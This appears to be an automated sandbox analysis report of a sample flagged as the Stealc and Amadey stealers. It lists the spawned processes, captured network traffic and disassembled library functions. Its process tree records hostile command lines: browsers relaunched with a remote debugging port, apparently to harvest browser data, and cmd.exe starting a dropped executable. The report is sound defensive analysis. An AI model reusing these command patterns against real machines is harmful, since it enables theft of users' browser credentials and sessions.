2024-11-26 00:41:55 UTC	5003	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 36 54 30 30 3a 34 31 3a 35 32 2e 37 38 39 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 34 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 66 35 61 61 64 30 31 33 2d 31 34 63 34 2d 34 64 34 39 2d 61 34 32 33 2d 30 30 38 30 62 35 66 34 36 66 65 32 22 2c 22 65 70 6f 63 68 22 3a 22 31 31 33 34 37 34 39 37 36 39 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-26T00:41:52.789Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":4,"installId":"f5aad013-14c4-4d49-a423-0080b5f46fe2","epoch":"1134749769"},"app":{"locale
2024-11-26 00:41:56 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=ee18189d9ecb43959b7d66cf7e59e1ef&HASH=ee18&LV=202411&V=4&LU=1732581716171; Domain=.microsoft.com; Expires=Wed, 26 Nov 2025 00:41:56 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=f90d6d96e7bc400eb733117f04fcfb8c; Domain=.microsoft.com; Expires=Tue, 26 Nov 2024 01:11:56 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3381 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Tue, 26 Nov 2024 00:41:56 GMT Connection: close

Target ID:	0
Start time:	19:41:07
Start date:	25/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xfd0000
File size:	1'818'624 bytes
MD5 hash:	DED0EB089D3679972DCF011246F04ABC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2178367888.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2693156875.0000000000FD1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2688050453.000000000084E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	19:41:17
Start date:	25/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	19:41:18
Start date:	25/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2200 --field-trial-handle=2180,i,6193051421280990808,11917923522611111916,262144 /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	19:41:28
Start date:	25/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	19:41:29
Start date:	25/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2452 --field-trial-handle=2456,i,17039394704386658941,8402415813546333380,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	19:41:29
Start date:	25/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	19:41:29
Start date:	25/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2100 --field-trial-handle=2016,i,17214769744475622277,13098018921734231120,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	19:41:34
Start date:	25/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6092 --field-trial-handle=2016,i,17214769744475622277,13098018921734231120,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	19:41:34
Start date:	25/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6092 --field-trial-handle=2016,i,17214769744475622277,13098018921734231120,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	19:41:34
Start date:	25/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=7012 --field-trial-handle=2016,i,17214769744475622277,13098018921734231120,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	19:41:34
Start date:	25/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=5368 --field-trial-handle=2016,i,17214769744475622277,13098018921734231120,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	19:41:57
Start date:	25/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsJEBKKEGDBF.exe"
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	19:41:57
Start date:	25/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	19:41:57
Start date:	25/11/2024
Path:	C:\Users\user\DocumentsJEBKKEGDBF.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsJEBKKEGDBF.exe"
Imagebase:	0xe0000
File size:	1'943'040 bytes
MD5 hash:	F324CF036831114E3C8C681220CA0489
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001E.00000003.2678330207.00000000048F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001E.00000002.2718708497.00000000000E1000.00000040.00000001.01000000.0000000A.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	19:41:59
Start date:	25/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x260000
File size:	1'943'040 bytes
MD5 hash:	F324CF036831114E3C8C681220CA0489
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001F.00000003.2709313256.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001F.00000002.2749584608.0000000000261000.00000040.00000001.01000000.0000000C.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	19:42:00
Start date:	25/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x260000
File size:	1'943'040 bytes
MD5 hash:	F324CF036831114E3C8C681220CA0489
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000020.00000002.2753043500.0000000000261000.00000040.00000001.01000000.0000000C.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000020.00000003.2712512772.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	19:42:29
Start date:	25/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=5400 --field-trial-handle=2016,i,17214769744475622277,13098018921734231120,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	37
Start time:	19:43:00
Start date:	25/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x260000
File size:	1'943'040 bytes
MD5 hash:	F324CF036831114E3C8C681220CA0489
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000025.00000003.3308199480.0000000004BB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000025.00000002.3426025815.0000000000261000.00000040.00000001.01000000.0000000C.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.6%
Total number of Nodes:	108
Total number of Limit Nodes:	12

Executed Functions

Function 6C9535A0 Relevance: 38.8, APIs: 16, Strings: 6, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DF688,00001000), ref: 6C9535D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C9535E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C9535FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C95363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C95369F
__aulldiv.LIBCMT ref: 6C9536E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C953773
EnterCriticalSection.KERNEL32(6C9DF688), ref: 6C95377E
LeaveCriticalSection.KERNEL32(6C9DF688), ref: 6C9537BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C9537C4
EnterCriticalSection.KERNEL32(6C9DF688), ref: 6C9537CB
LeaveCriticalSection.KERNEL32(6C9DF688), ref: 6C953801
__aulldiv.LIBCMT ref: 6C953883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C953902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C953918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C95394C

Strings

GenuntelineI, xrefs: 6C953639
MOZ_TIMESTAMP_MODE, xrefs: 6C9535DB
p*1, xrefs: 6C95378A, 6C9537A3, 6C9537D7, 6C9537ED
AuthcAMDenti, xrefs: 6C953946
QPC, xrefs: 6C9538FC
GTC, xrefs: 6C953912

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC$p*1
API String ID: 301339242-1646853590
Opcode ID: 26ed5ced44c9aa1577918de3aab6bbf7f2504a1cc1f72e926ebf17c93282d5c4
Instruction ID: 658b735bf762aebd1eb55ad421c753acc8d8f3b2ac1c6ad5fe1dc3088615d149
Opcode Fuzzy Hash: 26ed5ced44c9aa1577918de3aab6bbf7f2504a1cc1f72e926ebf17c93282d5c4
Instruction Fuzzy Hash: 4BB193B1B09B009BDB08DF38C85561ABBF5FB8A704F55892DF599E3B90D730E9408B91

Function 6C96C930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C96C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C96C969
GetSystemInfo.KERNEL32(?), ref: 6C96C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C96C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C96C9E2

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 066f3a386cdd80a083f4653106413906abd9f3794fdbb4dcfb1baa6ee936c6b2
Instruction ID: 9ee9738c2a8a6c4f9e6c533108214e4a777461f5b42f59fcf86c94ad6a6c57a6
Opcode Fuzzy Hash: 066f3a386cdd80a083f4653106413906abd9f3794fdbb4dcfb1baa6ee936c6b2
Instruction Fuzzy Hash: 9721C832745A146BEB04AA69DC84BAE7279AB46744F60051AF903B7E80DB60E940C7A1

Function 6C953060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C953095

Part of subcall function 6C9535A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DF688,00001000), ref: 6C9535D5
Part of subcall function 6C9535A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C9535E0
Part of subcall function 6C9535A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C9535FD
Part of subcall function 6C9535A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C95363F
Part of subcall function 6C9535A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C95369F
Part of subcall function 6C9535A0: __aulldiv.LIBCMT ref: 6C9536E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C95309F

Part of subcall function 6C975B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C9756EE,?,00000001), ref: 6C975B85
Part of subcall function 6C975B50: EnterCriticalSection.KERNEL32(6C9DF688,?,?,?,6C9756EE,?,00000001), ref: 6C975B90
Part of subcall function 6C975B50: LeaveCriticalSection.KERNEL32(6C9DF688,?,?,?,6C9756EE,?,00000001), ref: 6C975BD8
Part of subcall function 6C975B50: GetTickCount64.KERNEL32 ref: 6C975BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C9530BE

Part of subcall function 6C9530F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C953127
Part of subcall function 6C9530F0: __aulldiv.LIBCMT ref: 6C953140

Part of subcall function 6C98AB2A: __onexit.LIBCMT ref: 6C98AB30

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 0088ff590e51e29d5d98fc0f73c348403daa0d9f64a6dcb850a30aa6584e80aa
Instruction ID: b3aebd78f234a2a2590a36ff075f2eaf2ac2b283d8202f17e2f694980101aa9a
Opcode Fuzzy Hash: 0088ff590e51e29d5d98fc0f73c348403daa0d9f64a6dcb850a30aa6584e80aa
Instruction Fuzzy Hash: E8F0A962D29F4C96CB10DF7498421E6B374AF7B118FA4571AF84477A61FB20B1D88391

Non-executed Functions

Function 6C965440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C965492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9654A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9654BE
__Init_thread_footer.LIBCMT ref: 6C9654DB

Part of subcall function 6C98AB3F: EnterCriticalSection.KERNEL32(6C9DE370,?,?,6C953527,6C9DF6CC,?,?,?,?,?,?,?,?,6C953284), ref: 6C98AB49
Part of subcall function 6C98AB3F: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C953527,6C9DF6CC,?,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98AB7C

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

GetCurrentThreadId.KERNEL32 ref: 6C9654F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C965516
GetCurrentThreadId.KERNEL32 ref: 6C96556A
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C965577
moz_xmalloc.MOZGLUE(00000070), ref: 6C965585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C965590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C9655E6
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C965606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C965616

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

GetCurrentThreadId.KERNEL32 ref: 6C96563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C965646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C96567C
free.MOZGLUE(?), ref: 6C9656AE

Part of subcall function 6C975E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C975EDB
Part of subcall function 6C975E90: memset.VCRUNTIME140(6C9B7765,000000E5,55CCCCCC), ref: 6C975F27
Part of subcall function 6C975E90: LeaveCriticalSection.KERNEL32(?), ref: 6C975FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C9656E8
GetCurrentThreadId.KERNEL32 ref: 6C965707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C96570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C965729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C96574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C96576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C965796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C9657B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C9657CA

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C9654A3
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C965D01
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C9657C5
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C965D2B
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C965717
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C965724
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C9656E3
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C965791
[I %d/%d] profiler_init, xrefs: 6C96564E
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C965B38
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C965CF9
MOZ_PROFILER_STARTUP, xrefs: 6C9655E1
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C965C56
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C96584E
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C96548D
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C965AC9
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C965766
GeckoMain, xrefs: 6C965554, 6C9655D5
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C9654B9
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C965D24
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C9657AE
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C965BBE
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C965749
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C965D1C
MOZ_BASE_PROFILER_HELP, xrefs: 6C965511

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

